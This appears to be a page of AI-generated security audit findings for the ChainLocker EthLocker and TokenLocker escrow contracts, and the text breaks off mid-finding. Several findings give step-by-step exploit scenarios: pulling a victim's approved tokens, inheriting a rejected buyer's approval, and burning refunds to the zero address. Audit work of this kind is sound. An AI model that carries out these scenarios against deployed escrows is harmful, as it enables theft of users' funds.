The buyer grants the locker a standing 100-token allowance while planning to fund later. The seller calls depositTokens(buyer,100) without the buyers participation, refuses to approve execution, and after expiry receives the 100-token nonrefundable deposit.
- Recommendation
-
Require msg.sender to equal _depositor for allowance-based deposits or verify a signature authorizing this deposit and cycle; revoke further funding after successful execution.
Devin Security
depositTokens lets anyone pull tokens from any address that approved the locker
src/TokenLocker.sol:417Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can move tokens out of the wallet of any user who has approved a TokenLocker. In a non-refundable locker, the seller can force a would-be buyer into the deal and keep that buyer's deposit at expiry.
##### What's wrong
This is a missing authorization check.
depositTokens()takes a_depositoraddress from the caller and runstransferFrom(_depositor, ...), but it never checks thatmsg.sender == _depositor. The only checks are that_depositorhas enough allowance and, for closed offers, that_depositor == buyer.##### Who can do it
Mallory deploys a non-refundable open-offer TokenLocker and names herself as seller. Alice, a prospective buyer at Globex, approves the locker for the full amount while she reviews the deal, or gives it an unlimited approval. Before Alice decides, Mallory calls
depositTokens(Alice, deposit). Alice's tokens move into the locker and Alice becomesbuyer. Mallory never approves execution. At expiry,checkIfExpired()pays thedepositto Mallory as seller.- The victim has an outstanding ERC-20 allowance to this specific TokenLocker.
- For an open offer, no buyer is fixed yet, so any approver can be targeted. For a closed offer, only the named
buyercan be targeted, and the harm is a deposit forced on them at a time they did not choose.- The caller needs nothing else.
depositTokens()has no caller check.##### What they get
Mallory can force Alice into an escrow she did not agree to, and in a non-refundable locker she can take Alice's
deposittokens. Anyone else can also lock up Alice's approved tokens until the seller rejects her or the locker expires. Every user who has approved the locker is exposed, up to their allowance.##### How it works
1.
depositTokens()at TokenLocker.sol:417-420 accepts any_depositorfrom any caller.2. TokenLocker.sol:424-426 only checks the closed-offer buyer match and the size of
_depositor's allowance. It never compares_depositorwithmsg.sender.3. TokenLocker.sol:431-433 makes
_depositorthebuyerin an open offer.4. TokenLocker.sol:442 pulls
_amountfrom_depositorwithsafeTransferFrom.5. At expiry,
checkIfExpired()at TokenLocker.sol:585-587 sendsdepositto the seller when the locker is non-refundable.depositTokensWithPermit()at TokenLocker.sol:378-408 also takes_depositorfrom the caller. Anyone who copies a broadcast permit signature can submit it first. That makes the victim's own transaction revert. This is only a nuisance, because the permit still grants the allowance. - Exploit scenario
-
Not specified.
- Recommendation
-
In
depositTokens(), pull tokens frommsg.senderinstead of a caller-supplied_depositor, or requiremsg.sender == _depositor. IndepositTokensWithPermit(), wrap thepermitcall in try/catch so a front-run permit does not block the deposit. To check the fix, write a test. Alice approves the locker. Then a different address callsdepositTokens(Alice, x), and the call must revert.
Devin Security (Deep)
depositTokens() pulls tokens from any caller-chosen address that holds an allowance
src/TokenLocker.sol:417Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can force an address that has approved the locker into the escrow before that address chooses to deposit, and in a non-refundable escrow this hands the deposit to the seller at expiry.
##### What's wrong
This is a transferFrom with an arbitrary
from: the caller picks_depositor, and the contract pulls that address's tokens based only on an existing allowance, with no check thatmsg.senderis the depositor or the buyer.##### Who can do it
Alice approves a non-refundable open-offer locker for 1,000 tokens while negotiating with the seller Mallory, then decides not to go through with it but does not revoke the approval. Mallory calls
depositTokens(alice, 1000).- Alice has a live allowance to the specific locker.
- For a non-open offer, Alice must be the configured
buyer; for an open offer, anyone with an allowance qualifies.- The escrow has not expired.
##### What they get
Alice's tokens are moved into the escrow against her will. She cannot withdraw them; only the seller can release them before expiry. In a non-refundable escrow,
depositgoes to Mallory at expiry whether or not she delivers anything, and in an open offer Alice is also recorded as the buyer. The harm is limited to the amount Alice approved for that locker.##### How it works
1. Mallory calls
depositTokens(alice, amount)(TokenLocker.sol:417-420); there is nomsg.sendercheck.2. Line 425 only confirms
allowance(alice, locker) >= amount.3. Line 442 calls
safeTransferFrom(token, alice, locker, amount), moving Alice's tokens.4. At expiry,
checkIfExpired()(TokenLocker.sol:585-591) paysdepositto the seller in a non-refundable escrow. - Exploit scenario
-
Not specified.
- Recommendation
-
Require
msg.sender == _depositorindepositTokens()(the permit variant already needs the depositor's signature), or drop the_depositorparameter and usemsg.sender. Test: approve the locker from wallet A, calldepositTokens(A, amount)from wallet B, and assert it reverts.
Claude Security (Sonnet 5.5)
depositTokens trusts caller-supplied
_depositoras the transferFrom source without binding it to msg.sendersrc/TokenLocker.sol:442Predicted severity: Low- Root cause
-
Vulnerable symbol: TokenLocker.depositTokens
Preconditions: The victim has an outstanding ERC20 allowance to the TokenLocker, for example unlimited approvals or an allowance larger than the amount actually deposited; For the theft variant: the locker is non-refundable and its expiry is still in the future (after execute() or while deposits are open); For open offers: the attacker can name any approving address as buyer
Offending code:
safeTransferFrom(tokenContract, _depositor, address(this), _amount);
- Impact
-
A third party, and in practice the seller, can move any approver's tokens into escrow without that approver's action. With a non-refundable locker this becomes a theft of up to
depositfrom the leftover allowance, collected at expiry. In any locker it forces premature deposits and, for open offers, an attacker-chosen buyer assignment. - Description
-
The untrusted
_depositorargument of the externaldepositTokensis never compared to msg.sender. It flows straight into thefromargument of the assemblysafeTransferFrom, so any caller can pull tokens from any address that has an allowance to the locker. Also CWE-862: The attacker-chosen_depositorargument is thefromof a transferFrom, and the only gate iserc20.allowance(_depositor, address(this)) >= _amount(line 425); msg.sender is never compared to_depositor, so a standing approval meant for the depositor's own deposit can be spent by anyone. - Exploit scenario
-
1) Seller S deploys a non-refundable TokenLocker (refundable=false, deposit D, totalAmount T, expiry well in the future) for buyer B. 2) B grants the locker a large or unlimited allowance, deposits T and the deal executes: execute() pays T to S, deletes
deposited, and leavesbuyerand the expiry untouched. There is no terminal state. 3) S calls depositTokens(B, D). All checks pass: _depositor == buyer, allowance(B, locker) >= D, not expired. D of B's tokens are pulled into the locker anddepositedis set again. 4) At expiry, checkIfExpired() sees!refundable && _isDepositedand sends D to S. S has taken D (up to T if deposit == totalAmount) a second time from B's leftover allowance. In an open offer, anyone can also choose the buyer: they call depositTokens(victim, x) for any address with an allowance, which sets buyer = victim and forces the victim's tokens into escrow at a time the attacker picks. - Recommendation
-
Require msg.sender == _depositor, or drop the parameter and use msg.sender, in depositTokens. Keep third-party relaying only for depositTokensWithPermit, where the signature authorises it. Add a terminal 'executed' state so no deposits are accepted after execute(). Advise users to approve exact amounts. Also CWE-862: Require msg.sender == _depositor in depositTokens, or drop the _depositor parameter and use msg.sender. Keep the permit variant's signature-based flow, which is already authorized by the owner's signature.
Claude Security (Opus 5.5)
depositTokens pulls tokens from any caller-chosen _depositor's allowance, which lets an attacker take over the buyer role and drain a victim's approved tokens
src/TokenLocker.sol:442Predicted severity: High- Root cause
-
Vulnerable symbol: depositTokens
Preconditions: Locker is an open offer (for non-open offers
_depositormust equalbuyer, which limits the attacker to moving the buyer's own allowance into escrow early); Victim has an outstanding allowance to the locker, either from the normal approve-then-deposit flow or from a public permit signature the attacker can replay to token.permit; deposit >= 2, so a sub-threshold pull from the victim is possible; The seller does not call rejectDepositor for the victim before expiry, or the seller is the attackerOffending code:
safeTransferFrom(tokenContract, _depositor, address(this), _amount);
- Impact
-
Theft of a victim's ERC20 tokens up to the lesser of their allowance to the locker and totalAmount-1. Victims can also be pushed into non-refundable escrows they never chose to join. The EthLocker equivalent ties the depositor to msg.sender, and the TokenLocker NatSpec says the same ('updates buyer to msg.sender', 'records amount deposited by msg.sender'), so this is a divergence from the intended design.
- Description
-
_depositoris taken straight from the caller and becomes thefromof transferFrom with nomsg.sender == _depositorcheck, so any caller can spend another address's allowance to this locker. Because only crossing thedepositthreshold assignsbuyer(lines 429-433), and the whole balance goes tobuyerat expiry (line 599), the attacker can deposit a victim's tokens as an 'other depositor' and still collect them as buyer. Also CWE-863:_depositoris a caller-supplied parameter and is never compared to msg.sender, so any caller can spend another address's ERC20 allowance to this locker. In an open offer, the caller can also make that address the buyer. - Exploit scenario
-
Take an open-offer, refundable TokenLocker with deposit D >= 2. Victim V calls token.approve(locker, X) with X >= D-1, as the two-step approve-then-deposit UI expects, or approves the maximum. The attacker watches for that approve, or grabs V's EIP-2612 signature from the mempool and submits it to token.permit directly, then: (1) calls depositTokens(V, D-1). The balance is below
deposit, so V's tokens move into the locker but V is not made buyer. (2) Calls depositTokens(attacker, 1). The balance reaches D, sobuyer = attackeranddeposited = true. (3) Optionally calls depositTokens(V, totalAmount-D) to pull more of V's allowance. V's own deposit call now reverts for lack of allowance. After expiry anyone calls checkIfExpired(), and line 599 sends the whole balance to the attacker. The attacker spent 1 token and takes everything pulled from V. If the seller is the attacker, which works for both refundable and non-refundable lockers, the seller controls the attacker-buyer address, both call readyToExecute, and execute() pays V's tokens to the seller while V was never the buyer. - Recommendation
-
Bind deposits to the caller. Use msg.sender as the
fromand as the recorded depositor and buyer in depositTokens, and in depositTokensWithPermit either require_depositor == msg.senderor drop the parameter. If deposits on behalf of others are needed, pull from msg.sender and credit a separate beneficiary field, never another address's allowance. Also CWE-863: Require_depositor == msg.senderin depositTokens(). In depositTokensWithPermit(), either require the same or bind the permit to msg.sender.
Vercel Security Review
Open-offer refunds let a frontrunner collect another buyer's deposit
src/EthLocker.sol:269Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A frontrunner funds the required deposit first and captures the buyer slot** -
src/EthLocker.sol:269-272```solidity title="src/EthLocker.sol:269-272"
if (address(this).balance >= deposit && !deposited) {
// if this EthLocker is an open offer and was not yet accepted (thus '!deposited'), make depositing address the 'buyer' and update 'deposited' to true
if (openOffer) {
buyer = payable(msg.sender);
```
**2. The victim's pending deposit remains accepted** -
src/EthLocker.sol:264-267```solidity title="src/EthLocker.sol:264-267"
receive() external payable {
if (address(this).balance > totalAmount)
revert EthLocker_BalanceExceedsTotalAmount();
if (expirationTime <= block.timestamp) revert EthLocker_IsExpired();
```
When twice the deposit fits within
totalAmount, no buyer check prevents the victim's funds joining the attacker's escrow. The new token paths likewise accept nonbuyers (src/TokenLocker.sol:386-407,421-442), including allowance-backed third-party pulls.**3. Expiry refunds both parties' funds to the attacker** -
src/EthLocker.sol:431-434```solidity title="src/EthLocker.sol:431-434"
} else {
safeTransferETH(buyer, address(this).balance);
emit EthLocker_DepositedAmountTransferred(
buyer,
```
For refundable offers, no execution approval is needed.
src/TokenLocker.sol:598-599repeats this pooled refund; an honest seller's intervention is optional. - Exploit scenario
-
Not specified.
- Recommendation
-
Refund each contributor's funds to that contributor instead of assigning the entire balance to the selected buyer. Bind acceptance transactions to the expected buyer/offer state, and reject funding from unrelated parties after a buyer is selected unless that contributor explicitly authorizes funding that buyer. In TokenLocker, do not allow arbitrary callers to consume another depositor's allowance for an already claimed offer.
-
updateBuyer does not update amountDeposited mapping chainlocker-2 · 1 writeup Critical
V12
Consumed contribution credits drain later escrow deposits
src/EthLocker.sol:264Predicted severity: Critical- Root cause
-
Settlement consumes the aggregate ETH balance but invalidates only the current buyer's contribution record. Party replacement and offer reuse leave other already-consumed
amountDepositedentries redeemable throughrejectDepositor(). - Impact
-
A seller can withdraw a later buyer's escrow balance by recycling a contribution that was already paid out during an earlier execution. This path does not depend on surviving approval flags: the stale per-address refund credit remains independently actionable after execution.
- Description
-
receive()credits each actual sender inamountDeposited, butupdateBuyer()changes the refund identity without migrating or settling the former buyer's credit. Bothexecute()and expiry settlement clear onlyamountDeposited[buyer], even when funds credited to other addresses are included in the outgoing payment. A seller can fund its own open offer, replace itself as buyer with another controlled address, obtain the necessary approvals, and execute, recovering the initial funding while its original contribution remains recorded. A subsequent deposit reopens the same offer, andrejectDepositor()still treats that already-spent contribution as a payable refund. The seller can therefore reimburse its stale entry using the new buyer's funds without executing the new escrow or obtaining that buyer's approval.
-
Buyers can prevent themselves from being rejected chainlocker-3 · 1 writeup High
V12
Rejecting buyers permanently block non-refundable deposit payouts
src/EthLocker.sol:38Predicted severity: Critical- Root cause
-
Mandatory inline payouts couple every settlement and rejection transition to recipient acceptance. Address changes themselves depend on expiry settlement, leaving no recipient-independent recovery once an unpayable buyer blocks the deadline distribution.
- Impact
-
A buyer can permanently prevent the seller from receiving its non-refundable deposit by rejecting the remainder, while also leaving the buyer's own contribution locked. For this sole-contributor open-offer state, rejection, execution, expiry retries, and post-deadline address replacement cannot complete settlement, so the seller's entitlement cannot be withdrawn without cooperation that the fixed rejecting recipient does not provide.
- Description
-
Refunds in
rejectDepositor()and expiry payouts use synchronous ETH calls that revert the enclosing transition when a recipient rejects payment. For a non-refundable open offer withdeposit = 5andtotalAmount = 10, a contract buyer can contribute 10 and deliberately reject all incoming ETH. Rejecting that buyer fails and rolls back the buyer/deposit/ledger cleanup. At expiry the seller's payment of 5 is followed by the buyer's refund of 5; the rejecting buyer makes the entire transaction revert, including the seller's completed call.updateBuyer()cannot repair the recipient after the deadline because it first executes the same failing expiry settlement. No recipient-independent payout or recovery path exists in the reviewed implementation.
-
Irrevertible loss of tokens chainlocker-4 · 6 writeups High
V12
Unassigned open-offer refunds burn remaining contributions
src/EthLocker.sol:206Predicted severity: Critical- Root cause
-
checkIfExpired()distributes aggregate balances tobuyereven when open-offer initialization or rejection has left that address unset. It has neither a valid-recipient guard nor an alternative per-contributor withdrawal path for that state. - Impact
-
Unassigned open-offer contributions are permanently lost when permissionless expiry transfers them to the zero address. The seller's ability to refund individual contributors before settlement does not protect them against a deadline caller executing the zero-recipient payout, and no recovery mechanism can retrieve ETH after that transfer.
- Description
-
An open offer can hold ETH while
buyeris zero, both before its threshold has been reached and after the seller rejects the current buyer but other contributions remain.checkIfExpired()deletes deposit state and then sends the remaining balance tobuyerwithout checking that a recipient has been established. For a refundable offer, A can contribute 4 and B contribute 1 withdeposit = 5; rejecting B leaves A's 4 in escrow and clears buyer to zero. If no replacement buyer is established before the deadline, any caller can settle and transfer those 4 toaddress(0). A low-level ETH call to the zero address succeeds, so the transaction does not roll back and the remaining contribution is irrecoverable. The payable constructor also permits an open offer to start with unrecorded ETH and no buyer, creating the same zero-recipient expiry path if buyer selection never occurs.
Pashov (Claude Opus 5.5 high)
Expiry refund goes to
buyer == address(0)when no buyer exists, burning or freezing depositors' fundssrc/EthLocker.sol:229Predicted severity: Medium- Root cause
-
Expiry settlement pays a single
buyeraddress and never checks that it is set. Per-depositor balances (amountDeposited) are ignored. - Impact
-
Depositors who contributed but never met the deposit threshold (or whose buyer was rejected) permanently lose their funds once the locker expires.
- Description
-
In an EthLocker open offer,
buyerstarts as address(0) and is reset to address(0) byrejectDepositor(buyer). Contributions below thedepositthreshold do not set a buyer. At expiry,checkIfExpired()runssafeTransferETH(buyer, address(this).balance)without checking for a zero buyer, so the ETH is sent to the zero address. In TokenLocker the same transfer either burns tokens or reverts. Revert-on-zero tokens such as OpenZeppelin ERC20 then freeze the tokens permanently. - Exploit scenario
-
Open-offer EthLocker, deposit = 5 ETH. Alice sends 2 ETH and plans to send the rest later, then does not (or the seller rejects the previous buyer while Alice's funds sit there). After expiry anyone calls
checkIfExpired()and 2 ETH is sent to address(0). - Recommendation
-
If
buyer == address(0)at expiry, do not push funds. Let each depositor withdraw their ownamountDepositedinstead (pull-based refunds).
Devin Security
Tokens from other depositors go to the buyer, or get stuck, when the locker expires
src/TokenLocker.sol:417Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
In an open offer, anyone who deposits less than the deposit amount can lose those tokens to whoever crosses the threshold, or have them locked in the contract.
##### What's wrong
Settlement ignores each depositor's
amountDepositedrecord. Buyer status is decided from the total token balance plus the new amount, so a small deposit can make someone buyer by using other people's tokens. At expiry,checkIfExpired()sends the whole balance tobuyer. Ifbuyerisaddress(0), most ERC-20 tokens refuse the transfer, socheckIfExpired()reverts and the tokens stay locked.##### Who can do it
Bob deposits 600 tokens into an open-offer locker that has a 1,000-token refundable deposit. Mallory, anyone on chain, deposits 400 and becomes buyer. After expiry, anyone calls
checkIfExpired(), and all 1,000 tokens go to Mallory.- The locker is an open offer.
- Another user has a partial deposit that the seller has not refunded before expiry.
##### What they get
Mallory takes Bob's tokens. In the zero-buyer case, every call to
checkIfExpired()reverts, so Bob's tokens stay locked unless the seller chooses to refund him. For non-refundable lockers, a refunded non-buyer depositor can push the balance belowdeposit._balance - depositat line 586 then underflows and blocks settlement.##### How it works
1.
depositTokens()makes_depositorbuyer oncebalanceOf(this) + _amount >= depositat TokenLocker.sol:421-435.2.
checkIfExpired()deletes onlyamountDeposited[buyer]at TokenLocker.sol:582.3.
checkIfExpired()sends the full balance, or the remainder, tobuyerat TokenLocker.sol:593 and 599.4. If
buyerisaddress(0)afterrejectDepositor()at TokenLocker.sol:555, the transfer reverts for most tokens and the funds stay locked. - Exploit scenario
-
Not specified.
- Recommendation
-
Refund each depositor from
amountDepositedat expiry, or add a pull-based withdrawal. Base buyer status on the depositor's own recorded amount. Skip or reject transfers toaddress(0). To check the fix, write tests where multiple partial depositors and an expiry each get back exactly what they deposited.
Devin Security (Deep)
Expiry sends the whole balance to address(0) when an open offer has no buyer, burning depositors' ETH
src/EthLocker.sol:431Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
ETH sent to an open-offer escrow that never reached the deposit threshold, or that remains after the seller rejects the buyer, is burned to the zero address at expiry instead of being refunded.
##### What's wrong
This is a missing zero-address check on a payout. In an open offer the buyer is
address(0)until someone crosses thedepositthreshold, andrejectDepositor()resets it toaddress(0);checkIfExpired()then sends the entire balance tobuyerwithout checking it.##### Who can do it
Alice sees an open offer with a 10 ETH deposit and sends 6 ETH, meaning to send the rest later, but the seller stops responding and she gives up. Nobody calls
rejectDepositor(). At expiry, Bob, a keeper bot, callscheckIfExpired(). In a second version, Alice is the buyer with 10 ETH and Carol, Alice's second wallet, adds 5 ETH; the seller Mallory rejects Alice and ignores Carol, so Carol's 5 ETH sit withbuyer == address(0)until expiry.-
openOffer == true.-
buyer == address(0)at expiry: the deposit threshold was never crossed, or the seller rejected the buyer.- The contract balance is above zero.
- The seller did not call
rejectDepositor()for the remaining depositors before expiry.##### What they get
No one profits; the depositor's ETH is destroyed. A seller can also cause this on purpose by rejecting the buyer and ignoring other depositors, as a way to punish them. The loss is limited to the balance of that one escrow, and there is no way to recover it after the call.
##### How it works
1. The constructor leaves
buyerataddress(0)for open offers (EthLocker.sol:229), andrejectDepositor()resets it toaddress(0)(EthLocker.sol:390-393).2. Alice's partial payment is accepted by
receive()(EthLocker.sol:264-282) but does not reachdeposit, sobuyerstaysaddress(0).3. After expiry,
checkIfExpired()(EthLocker.sol:431-436) callssafeTransferETH(buyer, address(this).balance)withbuyer == address(0).4. The low-level call to
address(0)succeeds, so the ETH is burned. - Exploit scenario
-
Not specified.
- Recommendation
-
In
checkIfExpired(), ifbuyer == address(0), do not push funds; instead leave them claimable per depositor usingamountDeposited(a pull-basedwithdraw()after expiry), or at least revert so the seller can still refund viarejectDepositor(). Test: open-offer locker, send less thandeposit, warp past expiry, callcheckIfExpired(), and assert the depositor can reclaim the ETH and that the contract never transfers to address(0).
Claude Security (Sonnet 5.5)
Open-offer refund at expiry is sent to an unvalidated, unset buyer (address(0)), burning partial depositors' ETH
src/EthLocker.sol:432Predicted severity: Low- Root cause
-
Vulnerable symbol: checkIfExpired
Preconditions: openOffer == true; Balance is greater than zero at expiry while
buyeris address(0); The seller does not call rejectDepositor for those depositors before expiryOffending code:
safeTransferETH(buyer, address(this).balance);
- Impact
-
Permanent loss of ETH for depositors in open offers whose balance never reached
deposit, or whose buyer was rejected. The only rescue is a seller action taken before checkIfExpired() is first called after expiry, and depositors cannot withdraw on their own. - Description
-
For open offers the constructor leaves
buyeras address(0), and rejectDepositor resets it to address(0). checkIfExpired() sends the whole balance tobuyerwith no non-zero check, so ETH from depositors who never reacheddepositis sent to address(0). Also CWE-863: receive() accepts ETH from any sender. The first sender whose arrival makes balance >= deposit becomes buyer in an open offer (:269-274), regardless of how much of the balance came from others. checkIfExpired() then sends the entire address(this).balance tobuyerand ignores the per-depositor amountDeposited mapping, so other depositors' ETH is paid to whoever holds the buyer role. Also CWE-754: In an open offer, buyer is address(0) until some depositor reachesdeposit(and again after rejectDepositor). checkIfExpired() sends the entire balance tobuyerwithout checking for zero. Any address, including a third party, can trigger this after expiry. - Exploit scenario
-
An open-offer EthLocker has deposit = 10 ETH. A user sends 4 ETH, so
depositedstays false andbuyerstays address(0), and the 4 ETH is recorded only in amountDeposited[user]. The seller does not call rejectDepositor before expiry. After expiry anyone calls checkIfExpired() (or execute/updateSeller/updateBuyer, which call it). The else-branch executes safeTransferETH(address(0), balance) and the 4 ETH is burned. The same happens to other depositors' remaining ETH after the seller calls rejectDepositor(buyer) andbuyeris reset to address(0). - Recommendation
-
Never use
buyeras the refund target when it is address(0). Refund each depositor from amountDeposited[] (pull-based, or iterate depositors) and let depositors withdraw their own balance after expiry. At minimum, skip or revert-safe the transfer when buyer == address(0) and keep the funds claimable. Also CWE-863: Track and pay refunds per depositor via amountDeposited (a pull-based withdrawal after expiry). Alternatively, restrict deposits in an open offer to a single address until the offer is accepted, or require msg.sender == buyer for all deposits once buyer is set. Never treat all escrowed ETH as belonging to the buyer role. Also CWE-754: At expiry, refund each depositor from amountDeposited (pull-based per-address refunds), or revert/skip when buyer == address(0) and let depositors withdraw their own amountDeposited. Never push to an unset buyer.
Claude Security (Opus 5.5)
Open-offer EthLocker burns all escrowed ETH to address(0) at expiry when no depositor qualified as buyer
src/EthLocker.sol:432Predicted severity: Medium- Root cause
-
Vulnerable symbol: checkIfExpired
Preconditions: openOffer == true; Non-zero balance held at expiry with no current buyer (partial deposits, or buyer rejected)
Offending code:
safeTransferETH(buyer, address(this).balance);
- Impact
-
Depositors permanently lose their ETH, and any third party can trigger the loss at expiry.
- Description
-
In an open offer,
buyerstays address(0) until someone pushes the balance pastdeposit, and it is reset to address(0) by rejectDepositor(). checkIfExpired() is public and callable by anyone. It sends the whole balance tobuyerwithout checking for the zero address, so partial deposits recorded in amountDeposited are destroyed. - Exploit scenario
-
1. Prospective buyers send partial amounts (each below
deposit) to an open-offer EthLocker, a flow the contract explicitly supports. Alternatively, the seller rejects the buyer while other partial deposits remain.2. At expirationTime, any address calls checkIfExpired().
depositedis false and buyer == address(0), so the else branch sends the entire balance to address(0).3. amountDeposited[victim] stays non-zero, but the balance is gone and rejectDepositor() can no longer refund it.
- Recommendation
-
When buyer == address(0), do not push the balance. Let each depositor withdraw their amountDeposited (pull pattern), or refund recorded depositors instead of sending to
buyer.
-
buyerApproved not cleared when buyer is rejected chainlocker-5 · 9 writeups Medium
V12
Replacement buyer inherits rejected buyer's approval
src/EthLocker.sol:310Predicted severity: High- Root cause
-
buyerApprovedandsellerApprovedare not invalidated when their associated party identities change. In particular,rejectDepositor()resets an open-offer relationship without clearing its buyer authorization. - Impact
-
A seller can reject an approved buyer and then release a replacement buyer's funding without obtaining that buyer's approval. This bypasses the escrow's separate buyer-consent gate and permits conditional loss of the replacement buyer's funds.
- Description
-
readyToExecute()stores buyer consent in the unkeyedbuyerApprovedflag. In an open offer,rejectDepositor()removes the current buyer and resetsdeposited, but does not clear that flag. A subsequent deposit assigns a different buyer while retaining the rejected buyer's approval. With full funding and seller approval,execute()therefore pays the seller even though the replacement buyer never calledreadyToExecute(). Party-address updates likewise leave the corresponding approval flags unchanged.
Codex Security (GPT-6 Sol)
Seller can execute against a new buyer using a former buyer's approval
src/EthLocker.sol:315Predicted severity: High- Root cause
-
readyToExecuterecords global booleans. NeitherrejectDepositor,updateBuyer, norupdateSellerinvalidates them.executechecks only the flags and balance, so approvals from former parties authorize a later state. - Impact
-
A malicious seller can prepare stale approval before a new buyer deposits, then take the new buyer's entire escrow once fully funded.
- Description
-
Approval flags survive buyer or seller replacement and open-offer rejection, so execution can use consent from a former role holder.
- Exploit scenario
-
Seller-controlled initial buyer deposits and approves; seller rejects them; new buyer deposits; anyone calls
execute, which pays seller without a new buyer approval. - Recommendation
-
Clear both approval flags whenever either role changes or an accepted buyer is rejected; bind approvals to the current role addresses and offer generation.
Pashov (Claude Opus 5.5 high)
Buyer approval survives buyer replacement (rejectDepositor), and TokenLocker presets
buyerin open offers, so funds can be released without the real buyer's consentsrc/EthLocker.sol:310Predicted severity: High- Root cause
-
Approvals are never cleared when the buyer identity changes, and TokenLocker does not ignore
_buyerfor open offers as EthLocker does. - Impact
-
The seller can release the escrow to themselves without the actual buyer's approval. This defeats the core escrow guarantee (the buyer releases only once satisfied), so the seller can take the full
totalAmountbefore delivering anything. - Description
-
buyerApprovedis a single global flag. It is not tied to the address that set it.rejectDepositor()clearsbuyeranddepositedbut leavesbuyerApprovedset. When a new open-offer participant later deposits and becomesbuyer, the stale approval already counts as their consent. Separately, the TokenLocker constructor always runsbuyer = _buyer, even when_openOfferis true (docs say the parameter is ignored). The deployer/seller can therefore name an address they control as the initial buyer and callreadyToExecute()before any real buyer exists. - Exploit scenario
-
TokenLocker: the seller deploys an open offer with
_buyer = sellerAlt. sellerAlt callsreadyToExecute(), sobuyerApproved = true. Victim callsdepositTokens(victim, totalAmount)and becomesbuyer. The seller callsreadyToExecute()thenexecute(), andtotalAmountgoes to the seller with no approval from the victim. EthLocker: buyer A deposits and approves, the seller callsrejectDepositor(A), B depositstotalAmountand becomes buyer, then the seller approves and executes. B never approved. - Recommendation
-
Reset
buyerApproved(andsellerApproved) wheneverbuyerorsellerchanges: in rejectDepositor, updateBuyer/updateSeller, and when a new open-offer buyer is set. In TokenLocker, do not assignbuyer = _buyerwhen_openOfferis true. Consider storing the approving address and checking it equals the current buyer inexecute().
Pashov (Codex GPT-6 Sol high)
Buyer approval survives buyer replacement or rejection
src/EthLocker.sol:297Predicted severity: High- Root cause
-
The buyer identity and buyerApproved flag are updated independently; execute checks the flag but does not prove the current buyer set it.
- Impact
-
An escrow can execute and transfer its entire balance to the seller without the current buyer's consent. High severity: the seller can take the entire new buyer payment without that buyer approving execution.
- Description
-
The approval booleans are tied only to the locker, not to the addresses that granted them. updateBuyer and rejectDepositor change or clear buyer without clearing buyerApproved, so a later buyer inherits a prior buyer's approval.
- Exploit scenario
-
A malicious seller funds their own open offer, calls readyToExecute as both seller and buyer, then rejects their own deposit. rejectDepositor clears buyer but leaves both approvals true. A victim deposits the full amount and becomes the new buyer. The seller calls execute immediately and receives the victim funds without the victim approving.
- Recommendation
-
Clear buyerApproved whenever buyer changes or is cleared, and clear sellerApproved whenever seller changes. Optionally store approving addresses and verify that both still match the current parties.
Devin Security
Buyer approval survives buyer replacement, and open offers keep a preset buyer, so a seller can release a new buyer's tokens without consent
src/TokenLocker.sol:340Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A dishonest seller who runs an open-offer TokenLocker can take a real buyer's full token payment as soon as it arrives, without the buyer approving the release.
##### What's wrong
This is a stale authorization flag.
buyerApprovedis never cleared whenbuyerchanges. The constructor also setsbuyer = _buyereven for open offers, though the documentation says this value is ignored. So the person who deploys the locker can pick a buyer address they control, approve from it, and let the approval pass to whoever deposits next.##### Who can do it
Mallory deploys an open-offer TokenLocker through the public factory. She names herself seller and passes her second wallet as
_buyer. Her second wallet callsreadyToExecute(). Bob, an honest buyer, deposits the fulltotalAmountwithdepositTokens()and becomes buyer. Mallory callsreadyToExecute()as seller and thenexecute(). The same trick works withrejectDepositor(), as in EthLocker.- Anyone can deploy through the factory and choose
_sellerand_buyer.- The locker is an open offer.
- The victim's deposits bring the token balance to
totalAmountbefore expiry.##### What they get
Mallory receives Bob's whole token payment right away and does not need Bob's consent. Bob cannot recover it. This works against every buyer in every locker Mallory sets up.
##### How it works
1. The constructor sets
buyer = _buyerwithout checking_openOfferat TokenLocker.sol:342.2. Mallory's preset buyer wallet calls
readyToExecute(), which setsbuyerApprovedat TokenLocker.sol:476-479.3. Bob deposits, and
depositTokens()setsbuyer = _depositorwithout resetting approval at TokenLocker.sol:431-435.4. Mallory approves as seller, and
execute()passes its check at TokenLocker.sol:487-491 and sendstotalAmountto her at TokenLocker.sol:524. - Exploit scenario
-
Not specified.
- Recommendation
-
Only set
buyerin the constructor when!_openOffer. ClearbuyerApprovedwheneverbuyerchanges: in both deposit functions, inrejectDepositor(), and inupdateBuyer(). To check the fix, write a Foundry test where a preset or rejected buyer approves, then a new buyer deposits the full amount.execute()must revert until the new buyer callsreadyToExecute().
Devin Security (Deep)
Rejected buyer's approval survives rejectDepositor(), letting the seller release the next buyer's ETH without consent
src/EthLocker.sol:386Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who sets up an open-offer ETH escrow as the seller can take the next buyer's full payment the moment it lands, without that buyer ever agreeing to release it.
##### What's wrong
This is a stale authorization flag: a consent check that is set once and never reset when the party it belongs to changes.
readyToExecute()setsbuyerApprovedfor whoever is the current buyer, andrejectDepositor()removes that buyer but leavesbuyerApprovedset, so the approval carries over to the next buyer who never gave it.##### Who can do it
Mallory deploys an open-offer EthLocker as the seller and advertises goods for 10 ETH. From a second wallet she controls, she sends the deposit, calls
readyToExecute(), and then as seller callsrejectDepositor()on that wallet to get the ETH back. The escrow now has no buyer but still records the buyer as approved. Alice, a shopper, sees the open offer and sends 10 ETH to accept it. Mallory callsreadyToExecute()as seller and thenexecute().- The escrow was deployed with
openOffer == true(needed forrejectDepositor()).- An earlier buyer (any wallet, including one the seller controls) called
readyToExecute()and was then rejected by the seller.- The escrow has not expired and any value condition is met.
- The victim's deposit brings the balance to
totalAmount.##### What they get
Mallory receives Alice's entire
totalAmountimmediately, with no delivery and no approval from Alice. Alice has no way to reclaim the funds; there is no withdraw function and the expiry refund no longer applies because the balance is gone. Mallory can repeat this on every open-offer escrow she sets up. She can only reach buyers who accept her own offers.##### How it works
1. Mallory's second wallet sends
